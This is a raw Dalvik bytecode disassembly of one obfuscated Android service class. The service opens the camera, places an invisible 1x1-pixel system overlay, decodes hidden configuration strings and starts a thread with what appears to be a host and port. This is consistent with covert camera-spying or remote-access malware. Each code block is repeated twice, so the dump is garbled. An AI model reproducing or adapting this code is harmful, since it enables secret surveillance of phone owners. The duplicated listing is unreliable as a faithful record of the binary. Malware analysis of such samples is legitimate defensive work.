000851e0cmf0.c3b5bm90zq.patch.C5::i(cmf0.c3b5bm90zq.patch.C5):
000851f0iget v0, v0, Lcmf0/c3b5bm90zq/patch/C5;->v:I
000851f4return v0
000851e0
000851e0cmf0.c3b5bm90zq.patch.C5::i(cmf0.c3b5bm90zq.patch.C5):
000851f0iget v0, v0, Lcmf0/c3b5bm90zq/patch/C5;->v:I
000851f4return v0
000851e0
000851f6
000851f6 // align 0x8
000851f6 // align 0x8
000851f8
000851f8cmf0.c3b5bm90zq.patch.C5::a(java.lang.String):
00085208new-instance v0, Ljava/lang/Thread;
0008520cnew-instance v1, Lcmf0/c3b5bm90zq/patch/C5$2;
00085210invoke-direct {v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/C5$2;-><init>(Lcmf0/c3b5bm90zq/patch/C5;Ljava/lang/String;)V
00085216invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
0008521cinvoke-virtual {v0}, Ljava/lang/Thread;->start()V
00085222return-void
000851f8
000851f8cmf0.c3b5bm90zq.patch.C5::a(java.lang.String):
00085208new-instance v0, Ljava/lang/Thread;
0008520cnew-instance v1, Lcmf0/c3b5bm90zq/patch/C5$2;
00085210invoke-direct {v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/C5$2;-><init>(Lcmf0/c3b5bm90zq/patch/C5;Ljava/lang/String;)V
00085216invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
0008521cinvoke-virtual {v0}, Ljava/lang/Thread;->start()V
00085222return-void
000851f8
00085224
00085224cmf0.c3b5bm90zq.patch.C5::a(java.lang.String, int):
00085234new-instance v0, Ljava/lang/Thread;
00085238new-instance v1, Lcmf0/c3b5bm90zq/patch/C5$1;
0008523cinvoke-direct {v1, v2, v3, v4}, Lcmf0/c3b5bm90zq/patch/C5$1;-><init>(Lcmf0/c3b5bm90zq/patch/C5;Ljava/lang/String;I)V
00085242invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
00085248invoke-virtual {v0}, Ljava/lang/Thread;->start()V
0008524ereturn-void
00085224
00085224cmf0.c3b5bm90zq.patch.C5::a(java.lang.String, int):
00085234new-instance v0, Ljava/lang/Thread;
00085238new-instance v1, Lcmf0/c3b5bm90zq/patch/C5$1;
0008523cinvoke-direct {v1, v2, v3, v4}, Lcmf0/c3b5bm90zq/patch/C5$1;-><init>(Lcmf0/c3b5bm90zq/patch/C5;Ljava/lang/String;I)V
00085242invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
00085248invoke-virtual {v0}, Ljava/lang/Thread;->start()V
0008524ereturn-void
00085224
00085250
00085250cmf0.c3b5bm90zq.patch.C5::a():
00085260invoke-static {}, Landroid/hardware/Camera;->open()Landroid/hardware/Camera;
00085266move-result-object v0
00085268if-eqz v0, :cond_9
0008526cinvoke-virtual {v0}, Landroid/hardware/Camera;->release()V
00085272const/4 v0, 0x0
00085274return v0
00085276move-exception v0
00085278goto :goto_43
0008527amove-exception v0
0008527cnew-instance v1, Ljava/lang/StringBuilder;
00085280invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
00085286sget-wide v2, Lcmf0/c3b5bm90zq/patch/C11;->m:J
0008528aconst-wide/16 v4, 0x45
0008528einvoke-static {v2, v3, v4, v5}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
00085294move-result-object v2
00085296invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
0008529csget-object v2, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
000852a0invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
000852a6invoke-virtual {v0}, Ljava/lang/RuntimeException;->getMessage()Ljava/lang/String;
000852acmove-result-object v0
000852aeinvoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
000852b4sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
000852b8invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
000852besget-wide v2, Lcmf0/c3b5bm90zq/patch/C11;->m:J
000852c2const-wide/16 v4, 0x53
000852c6invoke-static {v2, v3, v4, v5}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
000852ccmove-result-object v0
000852ceinvoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
000852d4invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
000852damove-result-object v0
000852dcinvoke-static {v0}, Lcmf0/c3b5bm90zq/patch/C11;->a(Ljava/lang/String;)V
000852e2const/4 v0, 0x1
000852e4return v0
000852e6throw v0
00085250
00085250cmf0.c3b5bm90zq.patch.C5::a():
00085260invoke-static {}, Landroid/hardware/Camera;->open()Landroid/hardware/Camera;
00085266move-result-object v0
00085268if-eqz v0, :cond_9
0008526cinvoke-virtual {v0}, Landroid/hardware/Camera;->release()V
00085272const/4 v0, 0x0
00085274return v0
00085276move-exception v0
00085278goto :goto_43
0008527amove-exception v0
0008527cnew-instance v1, Ljava/lang/StringBuilder;
00085280invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
00085286sget-wide v2, Lcmf0/c3b5bm90zq/patch/C11;->m:J
0008528aconst-wide/16 v4, 0x45
0008528einvoke-static {v2, v3, v4, v5}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
00085294move-result-object v2
00085296invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
0008529csget-object v2, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
000852a0invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
000852a6invoke-virtual {v0}, Ljava/lang/RuntimeException;->getMessage()Ljava/lang/String;
000852acmove-result-object v0
000852aeinvoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
000852b4sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
000852b8invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
000852besget-wide v2, Lcmf0/c3b5bm90zq/patch/C11;->m:J
000852c2const-wide/16 v4, 0x53
000852c6invoke-static {v2, v3, v4, v5}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
000852ccmove-result-object v0
000852ceinvoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
000852d4invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
000852damove-result-object v0
000852dcinvoke-static {v0}, Lcmf0/c3b5bm90zq/patch/C11;->a(Ljava/lang/String;)V
000852e2const/4 v0, 0x1
000852e4return v0
000852e6throw v0
00085250
000852e8
000852e8 struct try_item
000852e8 start_addr uint32 0x85260
000852ec insn_count int 4
000852ee handler_off uint16 0x852f9
000852f0
000852f0 struct try_item
000852f0 start_addr uint32 0x8527c
000852f4 insn_count int 51
000852f6 handler_off uint16 0x852fe
000852f8
000852f8 struct encoded_catch_handler_list
000852f8 size int 2
000852f9
000852f9 struct encoded_catch_handler ← 0x852ee
000852f9 size int64 -1
000852fa handlers[0].type_idx int 0x59dc
000852fc handlers[0].addr uint32 0x8527a
000852fd catch_all_addr uint32 0x85276
000852fe
000852fe struct encoded_catch_handler ← 0x852f6
000852fe size int64 0
000852ff catch_all_addr uint32 0x85276
000852e8 struct try_item
000852e8 start_addr uint32 0x85260
000852ec insn_count int 4
000852ee handler_off uint16 0x852f9
000852f0
000852f0 struct try_item
000852f0 start_addr uint32 0x8527c
000852f4 insn_count int 51
000852f6 handler_off uint16 0x852fe
000852f8
000852f8 struct encoded_catch_handler_list
000852f8 size int 2
000852f9
000852f9 struct encoded_catch_handler ← 0x852ee
000852f9 size int64 -1
000852fa handlers[0].type_idx int 0x59dc
000852fc handlers[0].addr uint32 0x8527a
000852fd catch_all_addr uint32 0x85276
000852fe
000852fe struct encoded_catch_handler ← 0x852f6
000852fe size int64 0
000852ff catch_all_addr uint32 0x85276
00085300
00085300cmf0.c3b5bm90zq.patch.C5::b():
00085310const/4 v0, 0x0
00085312iput-boolean v0, v3, Lcmf0/c3b5bm90zq/patch/C5;->w:Z
00085316sget-object v1, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
0008531aif-eqz v1, :cond_14
0008531esget-object v1, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
00085322const/4 v2, 0x0
00085324invoke-virtual {v1, v2}, Landroid/hardware/Camera;->setPreviewCallback(Landroid/hardware/Camera$PreviewCallback;)V
0008532asget-object v1, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
0008532einvoke-virtual {v1}, Landroid/hardware/Camera;->release()V
00085334sput-object v2, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
00085338invoke-direct {v3}, Lcmf0/c3b5bm90zq/patch/C5;->f()V
0008533eiget-boolean v1, v3, Lcmf0/c3b5bm90zq/patch/C5;->c:Z
00085342if-nez v1, :cond_22
00085346iget-object v1, v3, Lcmf0/c3b5bm90zq/patch/C5;->o:Landroid/view/WindowManager;
0008534aiget-object v2, v3, Lcmf0/c3b5bm90zq/patch/C5;->p:Landroid/view/SurfaceView;
0008534einvoke-interface {v1, v2}, Landroid/view/WindowManager;->removeView(Landroid/view/View;)V
00085354iput-boolean v0, v3, Lcmf0/c3b5bm90zq/patch/C5;->b:Z
00085358iput-boolean v0, v3, Lcmf0/c3b5bm90zq/patch/C5;->c:Z
0008535creturn-void
00085300
00085300cmf0.c3b5bm90zq.patch.C5::b():
00085310const/4 v0, 0x0
00085312iput-boolean v0, v3, Lcmf0/c3b5bm90zq/patch/C5;->w:Z
00085316sget-object v1, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
0008531aif-eqz v1, :cond_14
0008531esget-object v1, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
00085322const/4 v2, 0x0
00085324invoke-virtual {v1, v2}, Landroid/hardware/Camera;->setPreviewCallback(Landroid/hardware/Camera$PreviewCallback;)V
0008532asget-object v1, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
0008532einvoke-virtual {v1}, Landroid/hardware/Camera;->release()V
00085334sput-object v2, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
00085338invoke-direct {v3}, Lcmf0/c3b5bm90zq/patch/C5;->f()V
0008533eiget-boolean v1, v3, Lcmf0/c3b5bm90zq/patch/C5;->c:Z
00085342if-nez v1, :cond_22
00085346iget-object v1, v3, Lcmf0/c3b5bm90zq/patch/C5;->o:Landroid/view/WindowManager;
0008534aiget-object v2, v3, Lcmf0/c3b5bm90zq/patch/C5;->p:Landroid/view/SurfaceView;
0008534einvoke-interface {v1, v2}, Landroid/view/WindowManager;->removeView(Landroid/view/View;)V
00085354iput-boolean v0, v3, Lcmf0/c3b5bm90zq/patch/C5;->b:Z
00085358iput-boolean v0, v3, Lcmf0/c3b5bm90zq/patch/C5;->c:Z
0008535creturn-void
00085300
0008535e
0008535e struct code_item_padding
0008535e padding uint16 0x0000
00085360
00085360 struct try_item
00085360 start_addr uint32 0x85316
00085364 insn_count int 35
00085366 handler_off uint16 0x85369
00085368
00085368 struct encoded_catch_handler_list
00085368 size int 1
00085369
00085369 struct encoded_catch_handler ← 0x85366
00085369 size int64 1
0008536a handlers[0].type_idx int 0x5994
0008536c handlers[0].addr uint32 0x8535c
0008536d
0008536d // align 0x10
0008535e struct code_item_padding
0008535e padding uint16 0x0000
00085360
00085360 struct try_item
00085360 start_addr uint32 0x85316
00085364 insn_count int 35
00085366 handler_off uint16 0x85369
00085368
00085368 struct encoded_catch_handler_list
00085368 size int 1
00085369
00085369 struct encoded_catch_handler ← 0x85366
00085369 size int64 1
0008536a handlers[0].type_idx int 0x5994
0008536c handlers[0].addr uint32 0x8535c
0008536d
0008536d // align 0x10
00085370
00085370cmf0.c3b5bm90zq.patch.C5::onBind(android.content.Intent):
00085380const/4 v1, 0x0
00085382return-object v1
00085370
00085370cmf0.c3b5bm90zq.patch.C5::onBind(android.content.Intent):
00085380const/4 v1, 0x0
00085382return-object v1
00085370
00085384
00085384cmf0.c3b5bm90zq.patch.C5::onCreate():
00085394invoke-virtual {v7}, Lcmf0/c3b5bm90zq/patch/C5;->getApplicationContext()Landroid/content/Context;
0008539amove-result-object v0
0008539cinvoke-static {v0}, Lcmf0/c3b5bm90zq/patch/a;->f(Landroid/content/Context;)Landroid/app/Notification;
000853a2move-result-object v0
000853a4if-eqz v0, :cond_f
000853a8const/16 v1, 0x7d4
000853acinvoke-virtual {v7, v1, v0}, Lcmf0/c3b5bm90zq/patch/C5;->startForeground(ILandroid/app/Notification;)V
000853b2sget v0, Lcmf0/c3b5bm90zq/patch/C11;->q:I
000853b6sput v0, Lcmf0/c3b5bm90zq/patch/C5;->d:I
000853basget v0, Lcmf0/c3b5bm90zq/patch/C11;->r:I
000853besput v0, Lcmf0/c3b5bm90zq/patch/C5;->e:I
000853c2sget v0, Lcmf0/c3b5bm90zq/patch/C11;->s:I
000853c6sput v0, Lcmf0/c3b5bm90zq/patch/C5;->f:I
000853casget v0, Lcmf0/c3b5bm90zq/patch/C11;->t:I
000853cesput v0, Lcmf0/c3b5bm90zq/patch/C5;->g:I
000853d2sget v0, Lcmf0/c3b5bm90zq/patch/C11;->u:I
000853d6sput v0, Lcmf0/c3b5bm90zq/patch/C5;->h:I
000853dasget v0, Lcmf0/c3b5bm90zq/patch/C11;->v:I
000853desput v0, Lcmf0/c3b5bm90zq/patch/C5;->i:I
000853e2sget v0, Lcmf0/c3b5bm90zq/patch/C11;->w:I
000853e6sput v0, Lcmf0/c3b5bm90zq/patch/C5;->j:I
000853easget v0, Lcmf0/c3b5bm90zq/patch/C11;->x:I
000853eesput v0, Lcmf0/c3b5bm90zq/patch/C5;->k:I
000853f2const-wide/16 v0, 0x0
000853f6iput-wide v0, v7, Lcmf0/c3b5bm90zq/patch/C5;->r:J
000853faiput-wide v0, v7, Lcmf0/c3b5bm90zq/patch/C5;->s:J
000853feinvoke-virtual {v7}, Lcmf0/c3b5bm90zq/patch/C5;->a()Z
00085404move-result v0
00085406iput-boolean v0, v7, Lcmf0/c3b5bm90zq/patch/C5;->c:Z
0008540aiget-boolean v0, v7, Lcmf0/c3b5bm90zq/patch/C5;->c:Z
0008540eif-nez v0, :cond_e6
00085412const-string v0, "window"
00085416invoke-virtual {v7, v0}, Lcmf0/c3b5bm90zq/patch/C5;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
0008541cmove-result-object v0
0008541echeck-cast v0, Landroid/view/WindowManager;
00085422iput-object v0, v7, Lcmf0/c3b5bm90zq/patch/C5;->o:Landroid/view/WindowManager;
00085426new-instance v0, Landroid/view/SurfaceView;
0008542ainvoke-direct {v0, v7}, Landroid/view/SurfaceView;-><init>(Landroid/content/Context;)V
00085430iput-object v0, v7, Lcmf0/c3b5bm90zq/patch/C5;->p:Landroid/view/SurfaceView;
00085434new-instance v0, Landroid/view/WindowManager$LayoutParams;
00085438const/4 v2, 0x1
0008543aconst/4 v3, 0x1
0008543cconst/16 v4, 0x7d6
00085440const/high16 v5, 0x40000
00085444const/4 v6, -0x3
00085446move-object v1, v0
00085448invoke-direct/range {v1 .. v6}, Landroid/view/WindowManager$LayoutParams;-><init>(IIIII)V
0008544eiput-object v0, v7, Lcmf0/c3b5bm90zq/patch/C5;->q:Landroid/view/WindowManager$LayoutParams;
00085452iget-object v0, v7, Lcmf0/c3b5bm90zq/patch/C5;->q:Landroid/view/WindowManager$LayoutParams;
00085456const/16 v1, 0x33
0008545aiput v1, v0, Landroid/view/WindowManager$LayoutParams;->gravity:I
0008545eiget-object v0, v7, Lcmf0/c3b5bm90zq/patch/C5;->o:Landroid/view/WindowManager;
00085462iget-object v1, v7, Lcmf0/c3b5bm90zq/patch/C5;->p:Landroid/view/SurfaceView;
00085466iget-object v2, v7, Lcmf0/c3b5bm90zq/patch/C5;->q:Landroid/view/WindowManager$LayoutParams;
0008546ainvoke-interface {v0, v1, v2}, Landroid/view/WindowManager;->addView(Landroid/view/View;Landroid/view/ViewGroup$LayoutParams;)V
00085470iget-object v0, v7, Lcmf0/c3b5bm90zq/patch/C5;->p:Landroid/view/SurfaceView;
00085474invoke-virtual {v0}, Landroid/view/SurfaceView;->getHolder()Landroid/view/SurfaceHolder;
0008547amove-result-object v0
0008547cinvoke-interface {v0, v7}, Landroid/view/SurfaceHolder;->addCallback(Landroid/view/SurfaceHolder$Callback;)V
00085482sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->a:Lcmf0/c3b5bm90zq/patch/a;
00085486invoke-virtual {v7}, Lcmf0/c3b5bm90zq/patch/C5;->getApplicationContext()Landroid/content/Context;
0008548cmove-result-object v1
0008548esget-wide v2, Lcmf0/c3b5bm90zq/patch/C11;->m:J
00085492const-wide/16 v4, 0x57
00085496invoke-static {v2, v3, v4, v5}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
0008549cmove-result-object v2
0008549einvoke-virtual {v0, v1, v2}, Lcmf0/c3b5bm90zq/patch/a;->a(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
000854a4move-result-object v0
000854a6const-string v1, ""
000854aaif-ne v0, v1, :cond_99
000854aeinvoke-virtual {v7}, Lcmf0/c3b5bm90zq/patch/C5;->getResources()Landroid/content/res/Resources;
000854b4move-result-object v0
000854b6const v1, 0x7f0c0024
000854bcinvoke-virtual {v0, v1}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
000854c2move-result-object v0
000854c4goto :goto_a9
000854c6sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->a:Lcmf0/c3b5bm90zq/patch/a;
000854cainvoke-virtual {v7}, Lcmf0/c3b5bm90zq/patch/C5;->getApplicationContext()Landroid/content/Context;
000854d0move-result-object v1
000854d2sget-wide v2, Lcmf0/c3b5bm90zq/patch/C11;->m:J
000854d6invoke-static {v2, v3, v4, v5}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
000854dcmove-result-object v2
000854deinvoke-virtual {v0, v1, v2}, Lcmf0/c3b5bm90zq/patch/a;->a(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
000854e4move-result-object v0
000854e6sget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->a:Lcmf0/c3b5bm90zq/patch/a;
000854eainvoke-virtual {v7}, Lcmf0/c3b5bm90zq/patch/C5;->getApplicationContext()Landroid/content/Context;
000854f0move-result-object v2
000854f2sget-wide v3, Lcmf0/c3b5bm90zq/patch/C11;->m:J
000854f6const-wide/16 v5, 0x58
000854fainvoke-static {v3, v4, v5, v6}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
00085500move-result-object v3
00085502invoke-virtual {v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/a;->a(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
00085508move-result-object v1
0008550aconst-string v2, ""
0008550eif-ne v1, v2, :cond_cb
00085512invoke-virtual {v7}, Lcmf0/c3b5bm90zq/patch/C5;->getResources()Landroid/content/res/Resources;
00085518move-result-object v1
0008551aconst v2, 0x7f0c0022
00085520invoke-virtual {v1, v2}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
00085526move-result-object v1
00085528goto :goto_db
0008552asget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->a:Lcmf0/c3b5bm90zq/patch/a;
0008552einvoke-virtual {v7}, Lcmf0/c3b5bm90zq/patch/C5;->getApplicationContext()Landroid/content/Context;
00085534move-result-object v2
00085536sget-wide v3, Lcmf0/c3b5bm90zq/patch/C11;->m:J
0008553ainvoke-static {v3, v4, v5, v6}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
00085540move-result-object v3
00085542invoke-virtual {v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/a;->a(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
00085548move-result-object v1
0008554ainvoke-static {v0}, Ljava/lang/Integer;->valueOf(Ljava/lang/String;)Ljava/lang/Integer;
00085550move-result-object v0
00085552invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
00085558move-result v0
0008555ainvoke-virtual {v7, v1, v0}, Lcmf0/c3b5bm90zq/patch/C5;->a(Ljava/lang/String;I)V
00085560return-void
00085384
00085384cmf0.c3b5bm90zq.patch.C5::onCreate():
00085394invoke-virtual {v7}, Lcmf0/c3b5bm90zq/patch/C5;->getApplicationContext()Landroid/content/Context;
0008539amove-result-object v0
0008539cinvoke-static {v0}, Lcmf0/c3b5bm90zq/patch/a;->f(Landroid/content/Context;)Landroid/app/Notification;
000853a2move-result-object v0
000853a4if-eqz v0, :cond_f
000853a8const/16 v1, 0x7d4
000853acinvoke-virtual {v7, v1, v0}, Lcmf0/c3b5bm90zq/patch/C5;->startForeground(ILandroid/app/Notification;)V
000853b2sget v0, Lcmf0/c3b5bm90zq/patch/C11;->q:I
000853b6sput v0, Lcmf0/c3b5bm90zq/patch/C5;->d:I
000853basget v0, Lcmf0/c3b5bm90zq/patch/C11;->r:I
000853besput v0, Lcmf0/c3b5bm90zq/patch/C5;->e:I
000853c2sget v0, Lcmf0/c3b5bm90zq/patch/C11;->s:I
000853c6sput v0, Lcmf0/c3b5bm90zq/patch/C5;->f:I
000853casget v0, Lcmf0/c3b5bm90zq/patch/C11;->t:I
000853cesput v0, Lcmf0/c3b5bm90zq/patch/C5;->g:I
000853d2sget v0, Lcmf0/c3b5bm90zq/patch/C11;->u:I
000853d6sput v0, Lcmf0/c3b5bm90zq/patch/C5;->h:I
000853dasget v0, Lcmf0/c3b5bm90zq/patch/C11;->v:I
000853desput v0, Lcmf0/c3b5bm90zq/patch/C5;->i:I
000853e2sget v0, Lcmf0/c3b5bm90zq/patch/C11;->w:I
000853e6sput v0, Lcmf0/c3b5bm90zq/patch/C5;->j:I
000853easget v0, Lcmf0/c3b5bm90zq/patch/C11;->x:I
000853eesput v0, Lcmf0/c3b5bm90zq/patch/C5;->k:I
000853f2const-wide/16 v0, 0x0
000853f6iput-wide v0, v7, Lcmf0/c3b5bm90zq/patch/C5;->r:J
000853faiput-wide v0, v7, Lcmf0/c3b5bm90zq/patch/C5;->s:J
000853feinvoke-virtual {v7}, Lcmf0/c3b5bm90zq/patch/C5;->a()Z
00085404move-result v0
00085406iput-boolean v0, v7, Lcmf0/c3b5bm90zq/patch/C5;->c:Z
0008540aiget-boolean v0, v7, Lcmf0/c3b5bm90zq/patch/C5;->c:Z
0008540eif-nez v0, :cond_e6
00085412const-string v0, "window"
00085416invoke-virtual {v7, v0}, Lcmf0/c3b5bm90zq/patch/C5;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
0008541cmove-result-object v0
0008541echeck-cast v0, Landroid/view/WindowManager;
00085422iput-object v0, v7, Lcmf0/c3b5bm90zq/patch/C5;->o:Landroid/view/WindowManager;
00085426new-instance v0, Landroid/view/SurfaceView;
0008542ainvoke-direct {v0, v7}, Landroid/view/SurfaceView;-><init>(Landroid/content/Context;)V
00085430iput-object v0, v7, Lcmf0/c3b5bm90zq/patch/C5;->p:Landroid/view/SurfaceView;
00085434new-instance v0, Landroid/view/WindowManager$LayoutParams;
00085438const/4 v2, 0x1
0008543aconst/4 v3, 0x1
0008543cconst/16 v4, 0x7d6
00085440const/high16 v5, 0x40000
00085444const/4 v6, -0x3
00085446move-object v1, v0
00085448invoke-direct/range {v1 .. v6}, Landroid/view/WindowManager$LayoutParams;-><init>(IIIII)V
0008544eiput-object v0, v7, Lcmf0/c3b5bm90zq/patch/C5;->q:Landroid/view/WindowManager$LayoutParams;
00085452iget-object v0, v7, Lcmf0/c3b5bm90zq/patch/C5;->q:Landroid/view/WindowManager$LayoutParams;
00085456const/16 v1, 0x33
0008545aiput v1, v0, Landroid/view/WindowManager$LayoutParams;->gravity:I
0008545eiget-object v0, v7, Lcmf0/c3b5bm90zq/patch/C5;->o:Landroid/view/WindowManager;
00085462iget-object v1, v7, Lcmf0/c3b5bm90zq/patch/C5;->p:Landroid/view/SurfaceView;
00085466iget-object v2, v7, Lcmf0/c3b5bm90zq/patch/C5;->q:Landroid/view/WindowManager$LayoutParams;
0008546ainvoke-interface {v0, v1, v2}, Landroid/view/WindowManager;->addView(Landroid/view/View;Landroid/view/ViewGroup$LayoutParams;)V
00085470iget-object v0, v7, Lcmf0/c3b5bm90zq/patch/C5;->p:Landroid/view/SurfaceView;
00085474invoke-virtual {v0}, Landroid/view/SurfaceView;->getHolder()Landroid/view/SurfaceHolder;
0008547amove-result-object v0
0008547cinvoke-interface {v0, v7}, Landroid/view/SurfaceHolder;->addCallback(Landroid/view/SurfaceHolder$Callback;)V
00085482sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->a:Lcmf0/c3b5bm90zq/patch/a;
00085486invoke-virtual {v7}, Lcmf0/c3b5bm90zq/patch/C5;->getApplicationContext()Landroid/content/Context;
0008548cmove-result-object v1
0008548esget-wide v2, Lcmf0/c3b5bm90zq/patch/C11;->m:J
00085492const-wide/16 v4, 0x57
00085496invoke-static {v2, v3, v4, v5}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
0008549cmove-result-object v2
0008549einvoke-virtual {v0, v1, v2}, Lcmf0/c3b5bm90zq/patch/a;->a(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
000854a4move-result-object v0
000854a6const-string v1, ""
000854aaif-ne v0, v1, :cond_99
000854aeinvoke-virtual {v7}, Lcmf0/c3b5bm90zq/patch/C5;->getResources()Landroid/content/res/Resources;
000854b4move-result-object v0
000854b6const v1, 0x7f0c0024
000854bcinvoke-virtual {v0, v1}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
000854c2move-result-object v0
000854c4goto :goto_a9
000854c6sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->a:Lcmf0/c3b5bm90zq/patch/a;
000854cainvoke-virtual {v7}, Lcmf0/c3b5bm90zq/patch/C5;->getApplicationContext()Landroid/content/Context;
000854d0move-result-object v1
000854d2sget-wide v2, Lcmf0/c3b5bm90zq/patch/C11;->m:J
000854d6invoke-static {v2, v3, v4, v5}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
000854dcmove-result-object v2
000854deinvoke-virtual {v0, v1, v2}, Lcmf0/c3b5bm90zq/patch/a;->a(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
000854e4move-result-object v0
000854e6sget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->a:Lcmf0/c3b5bm90zq/patch/a;
000854eainvoke-virtual {v7}, Lcmf0/c3b5bm90zq/patch/C5;->getApplicationContext()Landroid/content/Context;
000854f0move-result-object v2
000854f2sget-wide v3, Lcmf0/c3b5bm90zq/patch/C11;->m:J
000854f6const-wide/16 v5, 0x58
000854fainvoke-static {v3, v4, v5, v6}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
00085500move-result-object v3
00085502invoke-virtual {v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/a;->a(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
00085508move-result-object v1
0008550aconst-string v2, ""
0008550eif-ne v1, v2, :cond_cb
00085512invoke-virtual {v7}, Lcmf0/c3b5bm90zq/patch/C5;->getResources()Landroid/content/res/Resources;
00085518move-result-object v1
0008551aconst v2, 0x7f0c0022
00085520invoke-virtual {v1, v2}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
00085526move-result-object v1
00085528goto :goto_db
0008552asget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->a:Lcmf0/c3b5bm90zq/patch/a;
0008552einvoke-virtual {v7}, Lcmf0/c3b5bm90zq/patch/C5;->getApplicationContext()Landroid/content/Context;
00085534move-result-object v2
00085536sget-wide v3, Lcmf0/c3b5bm90zq/patch/C11;->m:J
0008553ainvoke-static {v3, v4, v5, v6}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
00085540move-result-object v3
00085542invoke-virtual {v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/a;->a(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
00085548move-result-object v1
0008554ainvoke-static {v0}, Ljava/lang/Integer;->valueOf(Ljava/lang/String;)Ljava/lang/Integer;
00085550move-result-object v0
00085552invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
00085558move-result v0
0008555ainvoke-virtual {v7, v1, v0}, Lcmf0/c3b5bm90zq/patch/C5;->a(Ljava/lang/String;I)V
00085560return-void
00085384
00085562
00085562 struct code_item_padding
00085562 padding uint16 0x0000
00085564
00085564 struct try_item
00085564 start_addr uint32 0x85394
00085568 insn_count int 15
0008556a handler_off uint16 0x85575
0008556c
0008556c struct try_item
0008556c start_addr uint32 0x853b2
00085570 insn_count int 215
00085572 handler_off uint16 0x85579
00085574
00085574 struct encoded_catch_handler_list
00085574 size int 2
00085575
00085575 struct encoded_catch_handler ← 0x8556a
00085575 size int64 1
00085576 handlers[0].type_idx int 0x5994
